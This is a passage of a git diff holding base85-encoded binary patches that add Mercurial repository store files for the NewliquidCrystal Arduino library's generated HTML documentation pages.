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 E0V#WjwEzGB literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..eb983f8d02fab96ba113e2fcaa9018d7d2447263 GIT binary patch literal 6729 zcmbVwbySpZ)Bn=lAQFPKbS=4*NVl})(u<^YH_{<2OD&>EN=v68OLt4Bq9OK`_FUE@0oM%nd{8Xp8GS`%r)1{4L}2+0d5J`3;>`p|JNFD|K^VDh*(&NTMVA` zgO2Z0ot^jNn;yvD+1v_0c*iprZ934s>#^zs5nTdZ;q*c|Qx&CFYBhcnNV$Adn~6D7 zzYjU}xL?&C-odX^`at$N#;5Z_;A_M3Cc>gx=F;M(x@jKC(WVD|YDhnL9g7nNOOfxryVZYQ|b4MRUV$ zBhcuys4%L3GAqD;XKRB+#$irX_BzOWF;G+Q;bz9X5J*;rY3I3hc84tMcL$D2^%99` zwmJ(u7=BCYB2;2RJ)6ohvEv2XmXNejmkIq+;7)d@3>`y%HV(xoEGm;t!oVa=+k>l; zrC4JjhP_1DrV?1$3kbGl3AKtDn;(}QFju~!5=5j=gKjg^9)nlfGa2oztwT!s zruWBt8P(3+n>=h|N8Ur04@Q+7mnSmhvf3`Pc^Jk)l~)pio3FFv>Dc?mS#o7Z%#YqS zLrpwFzuI+9uSo|Gn}+V541k`g47XF-dT47g>*0xD5~008jL${*aoFRM?8+jYR|2b)5*A z4MzIvwR@Uv6B4CzSlh$k5QPDvGJDTZl|LjyZ7j=}3CuN*D$nrkr|j+Jq%+2G zr%A7N#FH5iMZSF_^%|Wp;Tq|v*ASJNV<)@-6RmJ{*@aAh+b6KrnM8b;`r;VeVJR~5 zdJ@-*OY-7<5Hs&6Hr^$Mdbf}Owl!UuRz=!0@v|uw@lRfjN)%Pup0-t8r|V&X1zS~7 zaAQ4k1G#|=T3rgy42>kV5I$879J)_~y77y|2Q`Oed&K_jytWtM z*!%zvB`YT)L%}LjTNa=f8J9zy6Nk6%J>f-3+7OLbxkIXTsXiK&#~HjT)Xxp|`FFnh zIGpCPa@{<^59MMK)4}zRo0y*~e^f4NJlO~S>P(ewLqQhQ7pk**d| z^>UUBlvfATJNv+myG4Dlr-#CPfe}t5*L)}ttDmtZ6)fe@tFhmeWb$`KgnPznjuVdZPd1qeRjr9p&oINH=N?0fx0 zOcgLbM51457gtuMI5oEB*Tg9`<>iG$?jGVQ!hBqwTu*WIVF`EuVa-T=c39}g$6w@` z3*D5WMOJcfxQq!>=A|uglU7ga%a7=FX!r+|;`ba44lEd2CVx^Y8H-46H@kKaAG)th z@ht`H-&m}?OQkIA;Dh<+G2j`p~jQEZ^C3L>F1nE8F+wIyl z@l6g19e6M5*b={rW82Md{^=LtAv+ZNMb5*=*2Mxv^xcGN*2bCT0lfH(@1CkuMfSh3 z?)ni&SMeoYFxvLPXv`!0Ipx&EJX~V;Nqn2-xCZ44DHs9_9L`0`G0x1-N6G=_DHN!^z#wye9mfn&C4yUoQVb9R<~IabMu5Mx%VT7ZrwIU=Lc zQ1?T`cv8~o7E2+XDW7ex%m8Atr(Ki$p_J+@DXQeSP1hw$e7gedL^J7cuba}6r>*bNAWmO zo6i7drIF~J@aqtN@8H9YZI@tHCWq+;tS_)__i*9L!ODo6A4j@WEtL2}L6vXETT86BrpTV%pufE=29CJJ+2{r^(*?oC9*O-(&T<&4FU(`WYAZh&E}n z_9LE^rqjma8+`v|g7fXBSBUU6bI%8|n-dShd}ig9o|^zp3mMgTpR?<7wuQiW)*D+x zCW|X=)`ie`R3la@ajR8^b+TvdbfT)zRtapzZew&Q}s|&qR|#^&p|4OZaQ(t=0+z zA{>V1q0)L{Hz(8%?hdIm#RXcW{=ccn{B2Edun>k)s;CA7)s-O0_uqOGT9g9Sp8Wc= z5lT%()y2%ePE3 zDJ*nzNY6^sg_@WpvRgUm!E>|HZFXMgWST&Y({c(@^GitK#s%w{mc?L58Q2yK!DX$` z;H^v~q?$TPpbUbWQw9m8$CD>;QKfOsLWxERD_Q{Vcx+jy*W*s#g78Da{+9y)06kKJ zhJtNYBi%kN$4Lx6fMJp!hdABngGFww@7Vu^4f+3vy>19CThGWU0T-iC7lI+ycD4{Z za78N2vT%LtXTf@Uwm#HYzbsY1tk@Z14<5w=D7vwMP_M^RzXg#D08rea0q`Ri=qTI= z;Zw5aucMP5D&CK%?QEU}LX|fE*9aw1xYvgq!0U@c0PJ=pLc*XHQc+79j7WFVC|)um zghN;&b8aGY^fnx^X>D3me|ecU!^{>8%0)n-1v8u0Ks-?H<}w0K4?3M`pD943%}_>P zN=2_vNnuqZq_9}ju~;ykuwXqQ;I{GPws{g=f60u+=s=B?KT=qLC{T+oR1>j#B8=h0 z2Oy<+++wrNF@9GUEa3_d8Y%`04YcuCm%(tLhI0@ zQAm7-_g}WSqb-_FG$Huo4isqoI21?ILPjqZwL+34^1(#;dyUJ+EY0$$qm_Fh#jRkj zywZ!t^w#2z`N11z)YW_BNCE3ufn0v2%Gy2nGJK=&8s#TDaNha;dRYv8;tHlb(qLy~2ggQujX@E4<7- zIm@2+bi>H?^iFLWVFp6|T|Vw%kFk%SmpJ$3MA3(mPPIPV{wBRns_yEd!trSMLqEDO zzHp?Y%1%(Pi?f2ov5^UD<~|ixr8VcKq6)7E#rXb->BX}vsH?~4IgbfL$O&RJ;zOR# zZcDn5yZD7$q*1TH=fXFYJsUP7E~*X zhbmDZg70tDPUOxhNbD+^q)hZ+cSWxLLVT28WHrtkwW$R2w_7`cj7HMkCL1Cp7AhJf z%|M0{S0mk5-lZ=9!nEDv`eN~SHn#$qeMy3@=z^q*C2!>Q;b2=hdP=jUL>%gNqNy!rW0XQjNY5IsrG zc>GA6P+b@LD!YTqbWS_ErIHDDzD)?l5gXU^^5I#GYeZGWS%$%B)PA9mXV{m1m;9#s zZx2JWUrVHy4ncN1bkuIbCcj(T0NsFTpEVf#5vM|%+}_5&+?%dC&ucqbbq~! z7@dgAz-x2tc+c3>e@3mpp*e(di0~bXqa!np`Xy?GBpc*|joJ%=K)<0Fs*G1LfB4Sh za5K(Hz(Pc~7I(}Ko~QrRZCZeoFSaC>BcyvnEpT_r%f(1?p1k5mR;e8NDmRA@Edd8{ zBdGFYxa=@Di3&X3bx#tHy}%4Q+`AThy0Va`Wh=APS3>Ik<{ZVmv0-WmG1eueK!7t-UNY{tEwLmf|rC#hLriCo*pVQ_l`WH!BzU zWZJ+t(YDaCIuo^5FZrE)>spcE6nFb~k9XPODl|%3wV@vVwGmshQM&Mj zJ;v<&O^@X2z{6S3YD_cOMtt9;xQA_Px#v1*y-gm@PE=v*LNGvE46HpmOe0`f| zYyXy-5TphNm71%?7i%2Vm5EYBCUe>r@r3=e8!NZgcMO@DDYaTX0+foT8k&fF()wtb&(LIgjF?vw5B%vamu5*^wAF`1>n}oHFHu&{*ob^p|BT6mFnm#G z(AtPyfU(naW3~)ji=HN_#=rJ3Y<)c%UmIgOsGO}GP-xkfAjopK2mujBabBS*l_U^# zx35Rp3KQ!Pe}wgqe-2-cB-ahs#o;7*j>AU|ED;8FvZxby4R0y!Bc^{)aJ1OnRxOf$ zIqd&$+k>iZxTx(hS`ohNaB3i%WPUsJZP{q)Z2U|0|J@!NFsYLjnDnCWzihyCbKbAR zatgt=Z|_tXyJaY8Yx>gkt=$}J+_4xnsj zEw>0(M6~LF-*I1rvR?K9nth7uxZ}pqc$5Km-f-mNqLrFLgnE$*=oAOjH_zF$c3vr+ zz8-o1i_=P}e4=6(R2Q(KQLhv4T_g|5Lmd5{4n>pUef%4Rn+y-d(GLIshI7;kNg2oo zALTO0`xlLS{lH+m5cSe;t?471A$ZQM#U1m5kHWN(RrY>gB%+K~g?`=H46pmG=2WqZ z;gpIq1`rs9NkPxu??WrhF-G5H!tcJ3?!Gf%w9%Ehj(7laaXi&FXOB1J)LfqTUt6=0 z_17C-46u7F(A1Q1Jr7=(oo9wv_v zF(E=c2xIF-4gDc2Kb@Dp4wLrepC7?F>W0Z5v+mW{Kl7CtPd1gsVC#{4rC0_nzKAcz z0UDA%98+2VsEMi_LxdQ)UiH*yK}LkmOZR;q4BIJL}77dz{!R;z}M~D-cLr@bM-f~ZoWzmPI(P<{EgEroiWyo z{pQqqYSOeWZLB{|fFQ%q?eIb%5k9Q^f zNH$!atb}`mu;|!r2JyuM{BnDF`D`@;>%tD(PZ9I1hlbF3P(N4qT7UbphsFS zij!R^jB>qr-5{^_JZ!#YOWXqIrA5CpA*o<2%}0x>x>5NU%`toM&P#tjNJ#5vncWqW z1)1yk;JMr*_Ze@@T-`F?G5VLaDi3G=?m-B*x>HLO0>suk++eEORu=MB0# zto&L*;OMhIdicaIg_kMVHE&clZI$7`HQQm+QMkY(4``lNdFBt1G-UxZpo=hDP@n(z zfzXk4L#xjsdXQSYWJ9WC>VO?F`N=8;!LgwUC6#tA)?cq|zdA1Cs+QmnZU9SKE1fY5 zO|iE9MYYNl=$7(Vy}?n-nDLfaMb7=6?|3AaBl*w&R^E&ZKYW$IT1y(Q25~ZzXXT9- zMl%;ugvanZ+7~`8km$wC0o4To(thHV`$Ed>XY5jd_2uZJm;4|2v93%_4vB>A@Y z6_xfBXSd0ZoDcpvFPTUU0qVSYCgD-0CbZ-ypOgX5jzF+b=DYD@~EsV zetZfmvkvVl;8dNqY1?pYPY;>t(cYiSgk^2M#kHa7s7;%cD!vCO=jdw9V^p!gE7uCl zuUl+!bX8D$ZZi;Yg9AP8*q8MF5XmO}EYh`$MZ|9|N=lK;Gd#k9c`)t1lk#7?xG&0H zhv>fQ@)#)Glx4T*k;C*q{^lVygeZSkg4p*yiAZ5j)8g@e)xtHuQ4#XGwZ3DwQ|VQA z*Tc--|E`wbPNliV$XZ^3s^yrh6^XnR8k+xMm`>_s>p{Jp>ftShS|sd$1q=XqgVYeA zV8xflN5Xy>V=jo3V!141 z?I}C3Dmwg3#_sSRCN$CC{e49baKm5s2Dm>~sCo}F5ixvQk}AC z0p~*c%{fN3T_K*Do#4mx0t}tC>l@Df8}1k(xYbm_DBM(&x9E{y z5B_nu0I4BHIou6dsU9*H9Qj#n%JUw5RXajdcpa X@9(Z$D?5m*optelxN=>Z*-HNhX3p`0 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5f8ee0eaeb241d810ccad8b15b1aa6edfadc7698 GIT binary patch literal 34945 zcmXuJV~}PI&o$b%ZQI>*wQbwBZQItgZQHhOch9tK^UVF6_ght2N$q6+OV!TK3J@?5 zFwp;i=MDtqZTtVnKv+Njhm@yH7nSh+7_%N)Q8xtQKSc-ad;eGSKj)EsrTgK$&6f1N z;}6bKA$6!NDI8$Wuj2R^p=zzoARWi(-ckZ0sW6mIVlEkHdS(0lVjXY@fDA4G#AVOu zUadzm3m4vG&oSl2q=KYzv7$stad*mHdu5XzN_V~QX0>+5y< ziJta~GSKKPYbK|F&y_75u%ohMu+Dr=xOh1`H~Aaiq^+zx?(aM{{T4MnX6RUhbGoLK zW#ROAltF)e<6=BNfnWx}4Y9R#s^5ZrcVNI%-tY3>y@)=ay&cxm;V1&UG25J(i5)+# z-ind)ve+J$JVvXu0CRi#*_YtS)KHd<6qt~82=U`pbd?^iA0aY(YlW3%XRLE4-Byhu z@~C%`hew|{hq9h2K2%llPuXKe?=-=M$wTL@b{>A7lL%Y-tA3~U8}TR3PI?TL8VSjC zm~*AJ-~_x=P5Y!7swAN>59Pb@7hXa%iTruXGqw!p8AvlBfcfTH(fhD7t5L06nq1i} z|7*sAxGI}nxVq0t{=4Tj=!z&lr4ay{P1q04J zxV}l^kUdw&85E(*%PvKj;1YFbGAW0j zj`Q*+v;G(rMy0DC)y>O#da4RNG+xjSIxBps-+OZh-7m_UdZt8w>7S_2zvO#KG8QK9 ztr#$3QvWu(>e}z552M>!L|3`BX2#B(aoYmXCQ<;?%Mh4g}95FQ|! zredvRNvw?^_ZIO>Zq-TQjC9spGf5p-9|GD=>h7`5!&5!VHUTf+=7H?`9VWHdNHQan zfDU>Ie#2g#gW|#ImrrzSjCDukt=jZu7kPdD9KmvvnM@?^tuk1@n(m zE!EQ&L+4(b)nz-Q_Is$ERpa zRq!2vU?4S+QV)rY&~iG}25yb*;YMRYaIRMmpxo5_uY4JJeAZ<$mYK@?(hhZtg9Ci6 zR1ZOfZGj|gld^&bzbGrSsFUP@1%6i~gvju^5&wRy(0ys^i zJ1rN`%bnp3-mxisvTs#?#GQP-kLwt>BIAAOH;`M|=##)2x$D~5(@KblX^I4RgBm(* zDmzt+7D7RD#1lk53!|f)?-~8chD%~wyYVP`YY?rCv;p&$11wz~(VB0-5e*|L)*if) z9xU{knaccTsn+U>*6f25#VKz0eN!eeWfgYkUT-V=sv3G#x8B2S;%}tB%fcz0iH;cV z1z?Hu_lvS5KuM+t3KP1fB!jN5Qt7R+8Y-vIN97iTX)$_Vr`>{w9`sOM_Bb`Bz(NpW zPPw1@gz9w6)CJp+3ryU6u&>vOUJb;MRsGBg2iRDd^Rit3U3?Q4!^Fjr1&9ffnQV=L 